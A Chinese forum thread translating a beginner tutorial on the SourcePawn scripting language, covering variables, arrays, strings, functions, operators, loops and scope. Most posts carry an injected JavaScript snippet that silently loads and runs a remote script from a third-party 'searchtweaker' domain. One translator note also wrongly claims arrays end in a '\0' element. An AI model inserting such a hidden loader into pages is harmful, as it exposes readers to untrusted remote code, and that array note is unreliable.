广告广告
  加入我的最爱 设为首页 风格修改
首页 首尾
 手机版   订阅   地图  繁体 
您是第 13571 个阅读者
 
<<   1   2   3  下页 >>(共 3 页)
发表文章 发表投票 回覆文章
  可列印版   加为IE收藏   收藏主题   上一主题 | 下一主题   
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 版主评分 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
推文 x5
[插件] [插件编程]SourcePawn入门指南  (CS:S插件语言;翻译进行中;最后更新2013/11/8;)

译者序


此教学是AlliedModders官方WIKI上的教学,

该教学可面相非程序员之阅读者,

无编写程式者请安心服用,且此教学并不会教您编写插件,

此教程仅仅为述说如何使用Pawn脚本语言。


另外,

因小弟能力有限,尽量保持原意与文笔流畅,

若有翻译缪误之处请多多回报。


此篇教程,欢迎转载。

SourcePawn入门指南

该指南的宗旨在于提供您一个SourcePawn的基本概念。

SourcePawn是一个脚本语言,用来嵌合于其他的程式语言,

这意味着它并非一个独立的程式语言,如C++或是JAVA,

以及这些技术细节将会不同于应用之程式上。



目录

2013/11/08更新:
●已翻译《阵列》、《宣告与赋值》
●我发现官方原版教学其实对程式新手很不亲切,在往后版本我会大量补充详细内容与增加范例,
 并且增加的部分会标注[译者补充]的小标题。
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


[ 此文章被++HAUN在2013-11-08 20:14重新编辑 ]

此文章被评分,最近评分记录
财富:100 (by 冷场馆女仆长) | 理由: 教学文奖励^^



あーう~あーう~あーう~あーう~あーう~
献花 x3 回到顶端 [楼 主] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:16 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
给没有编程经验的人
给没有编程经验的人

本楼教学面向的是无程式经验者,如果你还在疑惑,

也许你会拿起一本其他的程式语言书籍,来取得更好的编程知识,

像是PHP、JAVA、PYTHON都是不错的选择。

符号与关键字
A symbol is a series of letters, numbers, and/or underscores, that uniquely represents something. Symbols are case-sensitive (unlike PHP, where sometimes they are not). Symbols do not start with any special character, though they must start with a letter.
There are a few reserved symbols that have special meaning. For example, if, for, and return are special constructs in the language that will explained later. They cannot be used as symbol names.

[译者补充]:你的第一个Pawn程式:
当你在敲下面程式时,//后面的那些文字没有程式的功能。就像是说明一样,用来说明程式的功用,以防自己忘记或别人看不懂。
复制程式
main(){
    new a=3;                                                //宣告一个叫a的整数变数,它的值是3
    new b=3;                                               //宣告一个叫a的整数变数,它的值是3
    printf("嗨,世界!\n");                             //在程式打出 嗨,世界!
    printf("%d乘以%d等于%d",a,b,a*b);              //在程式打出 a乘以b等于a*b
}
Variables
There a few important constructs you should know before you begin to script. The first is a variable. A variable is a symbol, or name, that holds data. For example, the variable "a" could hold the number "2", "16", "0", et cetera. Variables are created for storage space throughout a program. Variables must be declared before being used, using the "new" keyword. Data is assigned to variables using the equal sign (=). Example:
new a, b, c, d; a = 5;b = 16;c = 0;d = 500;[/pre]In SourcePawn, variables have two types, which will be explained in more detail further on.
  • Cells (arbitrary numerical data), as shown above.
  • Strings (a series of text characters)
Functions
The next important concept is functions. Functions are symbols or names that perform an action. That means when you activate them, they carry out a specific sequence of code. There are a few types of functions, but every function is activated the same way. "Calling a function" is the term for invoking a function's action. Function calls are constructed like this:
function(<parameters>)[/pre]Examples:
show(56);   //Activates "show" function, and gives the number 56 to itshow();     //Activates "show" function with no data, blankshow(a);   //Activates "show" function, gives a variable's contents as data[/pre]Every piece of data passed to a function is called a parameter. A function can have any number of parameters (there is a "reasonable" limit of 32 in SourceMod). Parameters will be explained further in the article.


Comments
Note any text that appears after a "//" is considered a "comment" and is not actual code. There are two comment styles:
  • // - Double slash, everything following on that line is ignored.
  • /* */ - Multi-line comment, everything in between the asterisks is ignored. You cannot nest these.


Block Coding
The next concept is block coding. You can group code into "blocks" separated by { and }. This effectively makes one large block of code act as one statement. For example:
{   here;   is;   some;   code;}[/pre]Block coding using braces is used everywhere in programming. Blocks of code can be nested within each other. It is a good idea to adapt a consistent and readable indentation style early on to prevent spaghetti-looking code.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


[ 此文章被++HAUN在2013-11-08 22:59重新编辑 ]


あーう~あーう~あーう~あーう~あーう~
献花 x1 回到顶端 [1 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:18 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
语言规范
Language Paradigms
Pawn may seem similar to other languages, like C, but it has fundamental differences. It is not important that you immediately understand these differences, but they may be helpful if you're familiar with another language already.
  • Pawn is not typed. Pawn only has one data type, the cell. This will be explained in detail later. [Below it says that there are two types: cell and string.]
  • Pawn is not garbage collected. Pawn, as a language, has no built-in memory allocation, and thus has no garbage. If a function allocates memory, you may be responsible for freeing it.
  • Pawn is not object oriented. Pawn is procedural, and relies on subroutines. It also does not have C structs.
  • Pawn is not functional. Pawn is procedural, and does not support lambda functions or late binding or anything else you might find in a very high-level language, like Python or Ruby.
  • Pawn is single-threaded. As of this writing, Pawn is not thread safe.
  • Pawn is not interpreted. Well, it "sort of" is. It gets interpreted at a very low level. You must run your code through a compiler, which produces a binary. This binary will work on any platform that the host application uses. This speeds up loading time and lets you check errors easier.
These language design decisions were made by ITB CompuPhase. It is designed for low-level embedded devices and is thus very small and very fast.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


あーう~あーう~あーう~あーう~あーう~
献花 x0 回到顶端 [2 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:26 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
变数
变数
在Pawn有两种变数型态: Cell(不知道如何翻)与String(字串). Cell是能储存32bit的资料形态(译者:32bit=4byte,如果以有号整数储存其实就与C语言的int相同),字串则是以连续的空间来储存UTF-8字元(译者:这意味着插件能用多国语言编写而不会有乱码)。
Cell并没有固有的形态,然而,Cell可以被标记形态,被标记型态之后便能使用其储存方法。预设的标记有:
  • 什么都不加:一般用于int形态
  • Float -用于储存浮点数
  • bool -用来储存Boolean(布林)的数值,即是只有true(真)与false(假)。
字串的使用方法稍有不同,下节将引以介绍。
宣告变数
以下为不同类型且正确的变数宣告:
复制程式
new a = 5;
new Float:b = 5.0;
new bool:c = true;
new bool:d = 0;     //有用的,因为false能以0代替
[译者补充]:同理true能以1代替。不过Pawn与C语言不同的是,C语言数字在做布林值的逻辑判断时,
只要非0的数字即为true。不过Pawn不同,它只会认定true与1这两个数为真,false与0为假。

以下是无效的:
复制程式
new a = 5.0;       //5.0是浮点数,但是a被宣定为整数形态,无效
new Float:b = 5;     //与上同理,5是整数,不适用
如果变数没被赋值将会是0
复制程式
new a;       //a会是0
new Float:b; //b会是0.0
new bool:c;   //c会是false
赋值
(译者,跟大多程式语言一样,赋值是由右边传到左边的。)
变数如果在宣告时未被赋值的话,能在后来赋值,如:
复制程式
new a, Float:b, bool:c;
a = 5;
b = 5.0;
c = true;
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


[ 此文章被++HAUN在2013-11-08 23:02重新编辑 ]


あーう~あーう~あーう~あーう~あーう~
献花 x0 回到顶端 [3 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:27 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
阵列
阵列
阵列是用来储存连续资料的一个连续清单。阵列用于储存一系列的数字,并让他们有个共通的名字,这有效地简化了许多任务。

宣告阵列
阵列使用变数名称+方括号来宣告,方括号内的表示该阵列储存几个数字:
复制程式
new players[32];     //储存32个整数形态的数字
new Float:origin[3]; //储存3个小数型态的数字
阵列内的数值初始皆为0。你能为那些初始数值来进行赋值:

如果将要宣告储存哪些数字,你能不表示阵列内有多少个数字:
new numbers[] = {1, 3, 5, 7, 9};//编译器将会自动为这个阵列分配5个位置。
复制程式
new numbers[5] = {1, 2, 3, 4, 5};     //储存1, 2, 3, 4, 5
new Float:origin[3] = {1.0, 2.0, 3.0}; //储存1.0, 2.0, 3.0
阵列用途
阵列的功用与一般变数无异。唯一不同的是阵列必须引索。引索其实就是指定使用阵列中第几个数值:
复制程式
new numbers[5], Float:origin[3]; //在numbers中定义5个位置供其使用
numbers[0] = 1; //来储存数字吧,位置0储存1
numbers[1] = 2; //来储存数字吧,位置1储存2
numbers[2] = 3; //依此类推
numbers[3] = 4;
numbers[4] = 5; //最后5所在的位置在numbers[4],因为是从numbers[0]开始计算
origin[0] = 1.0;
origin[1] = 2.0;
origin[2] = 3.0;
阵列最大的有效引索值是括号内的数字-1,一切引索都由0开始。
如果搞错了引索值将会产生程式错误:
复制程式
new numbers[5]; numbers[5] = 20;
上面这行看起来也许没错, 但5不是个有效的引索值。 最高的有效位置是4.

[译者补充]
阵列的有效引索值为什么要比原来的位置还少1?

学过C/C++或其他语言的人都知道,上面示范的阵列其实长这样,
现在你只要把阵列想成一个数字组成的蜈蚣虫:
 ----------------------
│ numbers[0] = 1    │
 ----------------------
│ numbers[1] = 2    │
 ----------------------
│ numbers[2] = 3    │
 ----------------------
│ numbers[3] = 4    │
 ----------------------
│ numbers[4] = 5    │
 ----------------------
│ numbers[5 ] ='\0'
 ----------------------
我们能看到,阵列是由第0个位置开始储存数字,

直到阵列的最尾端,我们会看到一个很神奇的东西...0字元('\0')

'\0'是一种特殊的字元,他的功用是告诉电脑"阵列结束了!!!(´・ω・`)"

所以阵列的尾巴绝对不能使用,不然阵列会变成一只会咬人的BUG!

也许有读者会问说:为何不是由1开始储存?这样比较直观易懂吧?
 1.电脑的最小机器码是0,当然从0开始。
 2.从0开始这样电脑在运算时会比较有效率... 这边不说为什么比较有效率,
  怕读者看到一堆1100101 1001010跟2进位运算之类的会把网页怒关= ="

更聪明的人会问说:那现在的程式为什么不要设计成写的时候能从1开始,从0开始的给编译器去处理就好了嘛!
 1.大概是习惯...吧(´・ω・`)
 2.我不是程式语言设计者,别问我(゚∀゚ )
[译者补充结束]
你能用任何表达式来当作引索值,例如:
复制程式
new a, numbers[5]; a = 1;             //宣告阵列与变数,a = 1
numbers[a] = 4;       //让numbers[1] = 4,因为a=1
numbers[numbers[a]] = 2; //numbers[4] = 2,因为numbers[1] = 4
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


[ 此文章被++HAUN在2013-11-09 17:06重新编辑 ]


あーう~あーう~あーう~あーう~あーう~
献花 x0 回到顶端 [4 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:28 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
字串
Strings
Strings are a convenient method of storing text. The characters are stored in an array. The string is terminated by a null terminator, or a 0. Without a null terminator, Pawn would not know where to stop reading the string. All strings are UTF-8 in SourcePawn.
Notice that Strings are a combination of arrays and cells. Unlike other languages, this means you must know how much space a string will use in advance. That is, strings are not dynamic. They can only grow to the space you allocate for them.
Note for experts: They're not actually cells. SourcePawn uses 8-bit storage for String arrays as an optimization. This is what makes String a type and not a tag.
Usage
Strings are declared almost equivalently to arrays. For example:
new String:message[] = "Hello!";new String:clams[6] = "Clams";[/pre]These are equivalent to doing:
new String:message[7], String:clams[6]; message[0] = 'H';message[1] = 'e';message[2] = 'l';message[3] = 'l';message[4] = 'o';message[5] = '!';message[6] = 0;clams[0] = 'C';clams[1] = 'l';clams[2] = 'a';clams[3] = 'm';clams[4] = 's';clams[5] = 0;[/pre]Although strings are rarely initialized in this manner, it is very important to remember the concept of the null terminator, which signals the end of a string. The compiler, and most SourceMod functions will automatically null-terminate for you, so it is mainly important when manipulating strings directly.
Note that a string is enclosed in double-quotes, but a character is enclosed in single quotes.
Characters
A character of text can be used in either a String or a cell. For example:
new String:text[] = "Crab";new clam; clam = 'D';       //Set clam to 'D'text[0] = 'A';     //Change the 'C' to 'A', it is now 'Arab'clam = text[0];   //Set clam to 'A'text[1] = clam;   //Change the 'r' to 'A', is is now 'AAab'[/pre]What you can't do is mix character arrays with strings. The internal storage is different. For example:
new clams[] = "Clams";               //Invalid, needs String: typenew clams[] = {'C', 'l', 'a', 'm', 's', 0}; //Valid, but NOT A STRING.[/pre]


あーう~あーう~あーう~あーう~あーう~
献花 x0 回到顶端 [5 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:29 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
函数(函式)
Functions
Functions, as stated before, are isolated blocks of code that perform an action. They can be invoked, or called, with parameters that give specific options.
There are two types of ways functions are called:
  • direct call - You specifically call a function in your code.
  • callback - The application calls a function in your code, as if it were an event trigger.
There are six types of functions:
  • native: A direct, internal function provided by the application.
  • public: A callback function that is visible to the application and other scripts.
  • normal: A normal function that only you can call.
  • static: The scope of this function is restricted to the current file, can be used in combination with stock.
  • stock: A normal function provided by an include file. If unused, it won't be compiled.
  • forward: This function is a global event provided by the application. If you implement it, it will be a callback.
All code in Pawn must exist in functions. This is in contrast to languages like PHP, Perl, and Python which let you write global code. That is because Pawn is a callback-based language: it responds to actions from a parent application, and functions must be written to handle those actions. Although our examples often contain free-floating code, this is purely for demonstration purposes. Free-floating code in our examples implies the code is part of some function.
Declaration
Unlike variables, functions do not need to be declared before you use them. Functions have two pieces, the prototype and the body. The prototype contains the name of your function and the parameters it will accept. The body is the contents of its code.
Example of a function:
AddTwoNumbers(first, second){ new sum = first + second;  return sum;}[/pre]This is a simple function. The prototype is this line:
AddTwoNumbers(first, second)[/pre]Broken down, it means:
  • AddTwoNumbers - Name of the function.
  • first - Name of the first parameter, which is a simple cell.
  • second - Name of the second parameter, which is a simple cell.
The body is a simple block of code. It creates a new variable, called sum, and assigns it the value of the two parameters added together (more on expressions later). The important thing to notice is the return statement, which tells the function to end and return a value to the caller of the function. All functions return a cell upon completion. That means, for example:
new sum = AddTwoNumbers(4, 5);[/pre]The above code will assign the number 9 to sum. The function adds the two inputs, and the sum is given as the return value. If a function has no return statement or does not place a value in the return statement, it returns 0 by default.
A function can accept any type of input. It can return any cell, but not arrays or strings. Example:
Float:AddTwoFloats(Float:a, Float:b){   new Float:sum = a + b;    return sum;}[/pre]Note that if in the above function, you returned a non-Float, you would get a tag mismatch.
You can, of course, pass variables to functions:
new numbers[3] = {1, 2, 0}; numbers[2] = AddTwoNumbers(numbers[0], numbers[1]);[/pre]Note that cells are passed by value. That is, their value cannot be changed by the function. For example:
new a = 5; ChangeValue(a); ChangeValue(b){   b = 5;}[/pre]This code would not change the value of a. That is because a copy of the value in a is passed instead of a itself.
More examples of functions will be provided throughout the article.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


あーう~あーう~あーう~あーう~あーう~
献花 x0 回到顶端 [6 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:31 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
表达式
Expressions
Expressions are exactly the same as they are in mathematics. They are groups of operators/symbols which evaluate to one piece of data. They are often parenthetical (comprised of parenthesis). They contain a strict "order of operations." They can contain variables, functions, numbers, and expressions themselves can be nested inside other expressions, or even passed as parameters.
The simplest expression is a single number. For example:
0;   //Returns the number 0(0); //Returns the number 0 as well[/pre]Although expressions can return any value, they are also said to either return zero or non-zero. In that sense, zero is false, and non-zero is true. For example, -1 is true in Pawn, since it is non-zero. Do not assume negative numbers are false.
The order of operations for expressions is similar to C. PMDAS: Parenthesis, Multiplication, Division, Addition, Subtraction. Here are some example expressions:
5 + 6;             //Evaluates to 115 * 6 + 3;           //Evaluates to 335 * (6 + 3);         //Evaluates to 455.0 + 2.3;           //Evaluates to 7.3(5 * 6) % 7;         //Modulo operator, evaluates to 2(5 + 3) / 2 * 4 - 9;   //Evaluates to -8[/pre]As noted, expressions can contain variables, or even functions:
new a = 5 * 6;new b = a * 3;     //Evaluates to 90new c = AddTwoNumbers(a, b) + (a * b);[/pre]Note: String manipulation routines may be found in the string.inc file located in the include subdirectory. They may be browsed through the API Reference as well.
Operators
There are a few extra helpful operators in Pawn. The first set simplifies self-aggregation expressions. For example:
new a = 5; a = a + 5;[/pre]Can be rewritten as:
new a = 5;a += 5;[/pre]This is true of the following operators in Pawn:
  • Four-function: *, /, -, +
  • Bit-wise: |, &, ^, ~, <<, >>
Additionally, there are increment/decrement operators:
a = a + 1;a = a - 1;[/pre]Can be simplified as:
a++;a--;[/pre]As an advanced note, the ++ or -- can come before the variable (pre-increment, pre-decrement) or after the variable (post-increment, post-decrement). The difference is in how the rest of the expression containing them sees their result.
  • Pre: The variable is incremented before evaluation, and the rest of the expression sees the new value.
  • Post: The variable is incremented after evaluation, and the rest of the expression sees the old value.
In other words, a++ evaluates to the value of a while ++a evaluates to the value of a + 1. In both cases a is incremented by 1.
For example:
new a = 5;new b = a++;   // b = 5, a = 6 (1)new c = ++a;   // a = 7, c = 7 (2)[/pre]In (1) b is assigned a's old value before it is incremented to 6, but in (2) c is assigned a's new value after it is incremented to 7.
Comparison Operators
There are six operators for comparing two values numerically, and the result is either true (non-zero) or false (zero):
  • a == b - True if a and b have the same value.
  • a != b - True if a and b have different values.
  • a > b - True if a is greater than b
  • a >= b - True if a is greater than or equal to b
  • a < b - True if a is less than b
  • a <= b - True if a is less than or equal to b
For example:
(1 != 3);       //Evaluates to true because 1 is not equal to 3.(3 + 3 == 6);   //Evaluates to true because 3+3 is 6.(5 - 2 >= 4);   //Evaluates to false because 3 is less than 4.[/pre]Note that these operators do not work on arrays or strings. That is, you cannot compare either using ==.
Truth Operators
These truth values can be combined using three boolean operators:
  • a && b - True if both a and b are true. False if a or b (or both) is false.
  • a || b - True if a or b (or both) is true. False if both a and b are false.
  • !a - True if a is false. False if a is true.
For example:
(1 || 0);       //Evaluates to true because the expression 1 is true(1 && 0);       //Evaluates to false because the expression 0 is false(!1 || 0);     //Evaluates to false because !1 is false.[/pre] Left/Right Values
Two important concepts are left-hand and right-hand values, or l-values and r-values. An l-value is what appears on the left-hand side of a variable assignment, and an r-value is what appears on the right side of a variable assignment.
For example:
new a = 5;[/pre]In this example a is an l-value and 5 is an r-value.
The rules:
  • Expressions are never l-values.
  • Variables are both l-values and r-values.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


あーう~あーう~あーう~あーう~あーう~
献花 x0 回到顶端 [7 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:35 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
控制结构
Conditionals
Conditional statements let you only run code if a certain condition is matched.
If Statements
If statements test one or more conditions. For example:
if (a == 5){   /* Code that will run if the expression was true */}[/pre]They can be extended to handle more cases as well:
if (a == 5){   /* Code */}else if (a == 6){   /* Code */}else if (a == 7){   /* Code */}[/pre]You can also handle the case of no expression being matched. For example:
if (a == 5){   /* Code */}else{   /* Code that will run if no expressions were true */}[/pre] Switch Statements
Switch statements are restricted if statements. They test one expression for a series of possible values. For example:
switch (a){   case 5:   {     /* code */   }   case 6:   {     /* code */   }   case 7:   {     /* code */   }   case 8, 9, 10:   {     /* Code */   }   default:   {     /* will run if no case matched */   }}[/pre]Unlike some other languages, switches are not fall-through. That is, multiple cases will never be run. When a case matches its code is executed, and the switch is then immediately terminated.
Loops
Loops allow you to conveniently repeat a block of code while a given condition remains true.
For Loops
For loops are loops which have four parts:
  • The initialization statement - run once before the first loop.
  • The condition statement - checks whether the next loop should run, including the first one. The loop terminates when this expression evaluates to false.
  • The iteration statement - run after each loop.
  • The body block - run each time the condition statement evaluates to true.
for ( /* initialization */ ; /* condition */ ; /* iteration */ ){   /* body */}[/pre]A simple example is a function to sum an array:
new array[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};new sum = SumArray(array, 10); SumArray(const array[], count){   new total;    for (new i = 0; i < count; i++)   {     total += array[i];   }    return total;}[/pre]Broken down:
  • new i = 0 - Creates a new variable for the loop, sets it to 0.
  • i < count - Only runs the loop if i is less than count. This ensures that the loop stops reading at a certain point. In this case, we don't want to read invalid indexes in the array.
  • i++ - Increments i by one after each loop. This ensures that the loop doesn't run forever; eventually i will become too big and the loop will end.
Thus, the SumArray function will loop through each valid index of the array, each time adding that value of the array into a sum. For loops are very common for processing arrays like this.
While Loops
While loops are less common than for loops but are actually the simplest possible loop. They have only two parts:
  • The condition statement - checked before each loop. The loop terminates when it evaluates to false.
  • The body block - run each time through the loop.
while ( /* condition */ ){   /* body */}[/pre]As long as the condition expression remains true, the loop will continue. Every for loop can be rewritten as a while loop:
/* initialization */while ( /* condition */ ){   /* body */   /* iteration */}[/pre]Here is the previous for loop rewritten as a while loop:
SumArray(const array[], count){   new total, i;    while (i < count)   {     total += array[i];     i++;   }    return total;}[/pre]There are also do...while loops which are even less common. These are the same as while loops except the condition check is AFTER each loop, rather than before. This means the loop is always run at least once. For example:
do{   /* body */}while ( /* condition */ );[/pre] Loop Control
There are two cases in which you want to selectively control a loop:
  • skipping one iteration of the loop but continuing as normal, or;
  • breaking the loop entirely before it's finished.
Let's say you have a function which takes in an array and searches for a matching number. You want it to stop once the number is found:
/** * Returns the array index where the value is, or -1 if not found. */SearchInArray(const array[], count, value){   new index = -1;    for (new i = 0; i < count; i++)   {     if (array[i] == value)     {       index = i;       break;     }   }    return index;}[/pre]Certainly, this function could simply return i instead, but the example shows how break will terminate the loop.
Similarly, the continue keyword skips an iteration of a loop. For example, let's say we wanted to sum all even numbers:
SumEvenNumbers(const array[], count){   new sum;    for (new i = 0; i < count; i++)   {     /* If divisibility by 2 is 1, we know it's odd */     if (array[i] % 2 == 1)     {       /* Skip the rest of this loop iteration */       continue;     }     sum += array[i];   }    return sum;}[/pre](function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();


あーう~あーう~あーう~あーう~あーう~
献花 x0 回到顶端 [8 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:38 |
++HAUN 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
小有名气
级别: 小有名气 该用户目前不上站
推文 x55 鲜花 x410
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
作用域(范围)
Scope
Scope refers to the visibility of code. That is, code at one level may not be "visible" to code at another level. For example:
new A, B, C; Function1(){   new B;    Function2();} Function2(){   new C;}[/pre]In this example, A, B, and C exist at global scope. They can be seen by any function. However, the B in Function1 is not the same variable as the B at the global level. Instead, it is at local scope, and is thus a local variable.
Similarly, Function1 and Function2 know nothing about each other's variables.
Not only is the variable private to Function1, but it is re-created each time the function is invoked. Imagine this:
Function1(){   new B;    Function1();}[/pre]In the above example, Function1 calls itself. Of course, this is infinite recursion (a bad thing), but the idea is that each time the function runs, there is a new copy of B. When the function ends, B is destroyed, and the value is lost.
This property can be simplified by saying that a variable's scope is equal to the nesting level it is in. That is, a variable at global scope is visible globally to all functions. A variable at local scope is visible to all code blocks "beneath" its nesting level. For example:
Function1(){   new A;    if (A)   {     A = 5;   }}[/pre]The above code is valid since A's scope extends throughout the function. The following code, however, is not valid:
Function1(){   new A;    if (A)   {     new B = 5;   }    B = 5;}[/pre]Notice that B is declared in a new code block. That means B is only accessible to that code block (and all sub-blocks nested within). As soon as the code block terminates, B is no longer valid.


あーう~あーう~あーう~あーう~あーう~
献花 x0 回到顶端 [9 楼] From:台湾中华电信股份有限公司 | Posted:2013-04-07 14:43 |

<<   1   2   3  下页 >>(共 3 页)
首页  发表文章 发表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.026683 second(s),query:16 Gzip disabled
本站由 瀛睿律师事务所 担任常年法律顾问 | 免责声明 | 本网站已依台湾网站内容分级规定处理 | 连络我们 | 访客留言